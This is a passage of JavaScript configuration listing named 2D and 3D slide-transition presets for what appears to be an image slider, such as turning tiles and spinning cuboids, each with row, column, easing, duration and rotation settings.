            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: -90
        }
    }, {
        name: "Turning tile from top",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 750,
            direction: "bottom",
            rotateX: -90
        }
    }, {
        name: "Turning tile from bottom",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 750,
            direction: "top",
            rotateX: 90
        }
    }, {
        name: "Turning tiles from left",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: 90
        }
    }, {
        name: "Turning tiles from right",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: -90
        }
    }, {
        name: "Turning tiles from top",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: -90
        }
    }, {
        name: "Turning tiles from bottom",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: 90
        }
    }, {
        name: "Turning rows from top",
        rows: [6, 12],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: 90
        }
    }, {
        name: "Turning rows from bottom",
        rows: [6, 12],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: -90
        }
    }, {
        name: "Turning cols from left",
        rows: 1,
        cols: [6, 12],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: -90
        }
    }, {
        name: "Turning cols from right",
        rows: 1,
        cols: [6, 12],
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: 90
        }
    }, {
        name: "Flying rows from left",
        rows: [3, 10],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: 90
        }
    }, {
        name: "Flying rows from right",
        rows: [3, 10],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateY: -90
        }
    }, {
        name: "Flying cols from top",
        rows: 1,
        cols: [3, 10],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: -90
        }
    }, {
        name: "Flying cols from bottom",
        rows: 1,
        cols: [3, 10],
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotateX: 90
        }
    }, {
        name: "Flying and rotating tile from left",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "right",
            scale: .1,
            rotate: -90,
            rotateY: 90
        }
    }, {
        name: "Flying and rotating tile from right",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: .1,
            rotate: 90,
            rotateY: -90
        }
    }, {
        name: "Flying and rotating tiles from left",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "right",
            rotate: -45
        }
    }, {
        name: "Flying and rotating tiles from right",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            rotate: -45
        }
    }, {
        name: "Flying and rotating tiles from random",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 55,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "random",
            rotate: -45
        }
    }, {
        name: "Scaling tile in",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: .1
        }
    }, {
        name: "Scaling tile from out",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: 2
        }
    }, {
        name: "Scaling tiles random",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 35,
            sequence: "random"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: .1
        }
    }, {
        name: "Scaling tiles from out random",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 35,
            sequence: "random"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: 2
        }
    }, {
        name: "Scaling in and rotating tiles random",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 35,
            sequence: "random"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: .1,
            rotate: 90
        }
    }, {
        name: "Scaling and rotating tiles from out random",
        rows: [3, 4],
        cols: [3, 4],
        tile: {
            delay: 35,
            sequence: "random"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left",
            scale: 2,
            rotate: -90
        }
    }, {
        name: "Mirror-sliding tiles diagonal",
        rows: 3,
        cols: 4,
        tile: {
            delay: 15,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 850,
            direction: "topright"
        }
    }, {
        name: "Mirror-sliding rows horizontal",
        rows: 6,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Mirror-sliding rows vertical",
        rows: 6,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "top"
        }
    }, {
        name: "Mirror-sliding cols horizontal",
        rows: 1,
        cols: 8,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Mirror-sliding cols vertical",
        rows: 1,
        cols: 8,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 750,
            direction: "top"
        }
    }],
    t3d: [{
        name: "Spinning tile to right (180&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 91
            },
            easing: "easeInQuart",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateY: 180
            },
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "horizontal"
        }
    }, {
        name: "Spinning tile to left (180&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: -91
            },
            easing: "easeInQuart",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateY: -180
            },
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "horizontal"
        }
    }, {
        name: "Spinning tile to bottom (180&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: -91
            },
            easing: "easeInQuart",
            duration: 800,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateX: -180
            },
            easing: "easeOutQuart",
            duration: 800,
            direction: "vertical"
        }
    }, {
        name: "Spinning tile to top (180&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: 91
            },
            easing: "easeInQuart",
            duration: 800,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateX: 180
            },
            easing: "easeOutQuart",
            duration: 800,
            direction: "vertical"
        }
    }, {
        name: "Spinning tiles to right (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "horizontal"
        }
    }, {
        name: "Spinning tiles to left (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "horizontal"
        }
    }, {
        name: "Spinning tiles to bottom (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-forward"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Spinning tiles to top (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-reverse"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Horizontal spinning tiles random (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1300,
            direction: "horizontal"
        }
    }, {
        name: "Vertical spinning tiles random (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1300,
            direction: "vertical"
        }
    }, {
        name: "Scaling and spinning tiles to right (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .95
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning tiles to left (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .95
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning tiles to bottom (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-forward"
        },
        before: {
            transition: {
                scale3d: .95
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning tiles to top (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-reverse"
        },
        before: {
            transition: {
                scale3d: .95
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and horizontal spinning tiles random (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .95,
                rotateX: 30
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1300,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0
            },
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and vertical spinning tiles random (180&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .95,
                rotateY: -15
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 1300,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateY: 0
            },
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Spinning rows to right (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning rows to left (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning rows to bottom (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Spinning rows to top (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Horizontal spinning rows random (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Vertical spinning rows random (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Vertical spinning rows random (540&#176;)",
        rows: [3, 7],
        cols: 1,
        tile: {
            delay: 150,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateX: -540
            },
            easing: "easeInOutQuart",
            duration: 2e3,
            direction: "vertical"
        }
    }, {
        name: "Scaling and spinning rows to right (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning rows to left (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning rows to bottom (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 600,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning rows to top (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 600,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and horizontal spinning rows random (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and vertical spinning rows random (180&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 55,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 600,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Spinning columns to right (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning columns to left (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning columns to bottom (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Spinning columns to top (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Horizontal spinning columns random (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Vertical spinning columns random (180&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Horizontal spinning columns random (540&#176;)",
        rows: 1,
        cols: [4, 9],
        tile: {
            delay: 150,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateY: 540
            },
            easing: "easeInOutQuart",
            duration: 2e3,
            direction: "horizontal"
        }
    }, {
        name: "Scaling and spinning columns to right (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 600,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning columns to left (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 55,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 600,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning columns to bottom (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 55,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and spinning columns to top (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and horizontal spinning columns random (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 600,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and vertical spinning columns random (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Drunk colums scaling and spinning to right (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: -30
            },
            duration: 600,
            easing: "easeOutQuart"
        },
        animation: {
            transition: {
                rotateX: 30,
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 600
        }
    }, {
        name: "Drunk colums scaling and spinning to left (180&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: -30
            },
            duration: 600,
            easing: "easeOutQuart"
        },
        animation: {
            transition: {
                rotateX: 30,
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 600
        }
    }, {
        name: "Turning cuboid to right (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Turning cuboid to left (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: -90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Turning cuboid to bottom (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Turning cuboid to top (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: 90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Scaling and turning cuboid to right (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                scale3d: .8,
                rotateX: 30,
                rotateY: 45
            },
            easing: "easeInOutQuad",
            duration: 800,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                rotateY: 90
            },
            duration: 800,
            easing: "easeInOutQuad"
        }
    }, {
        name: "Scaling and turning cuboid to left (90&#176;)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                scale3d: .8,
                rotateX: 30,
                rotateY: -45
            },
            easing: "easeInOutQuad",
            duration: 800,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                rotateY: -90
            },
            duration: 800,
            easing: "easeInOutQuad"
        }
    }, {
        name: "Scaling and turning cuboids to right (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and turning cuboids to left (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and turning cuboids to bottom (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and turning cuboids to top (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and horizontal turning cuboids random (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .65,
                rotateX: -15
            },
            duration: 700,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 75
            },
            easing: "easeInOutBack",
            duration: 700,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateY: 90,
                rotateX: 0
            },
            duration: 700,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and vertical turning cuboids random (90&#176;)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .65,
                rotateY: 15
            },
            duration: 700,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 75
            },
            easing: "easeInOutBack",
            duration: 700,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateX: 90,
                rotateY: 0
            },
            duration: 700,
            easing: "easeInOutBack"
        }
    }, {
        name: "Turning rows to right (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Turning rows to left (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateY: -90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Horizontal turning rows random (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Scaling and turning rows to right (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning rows to left (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
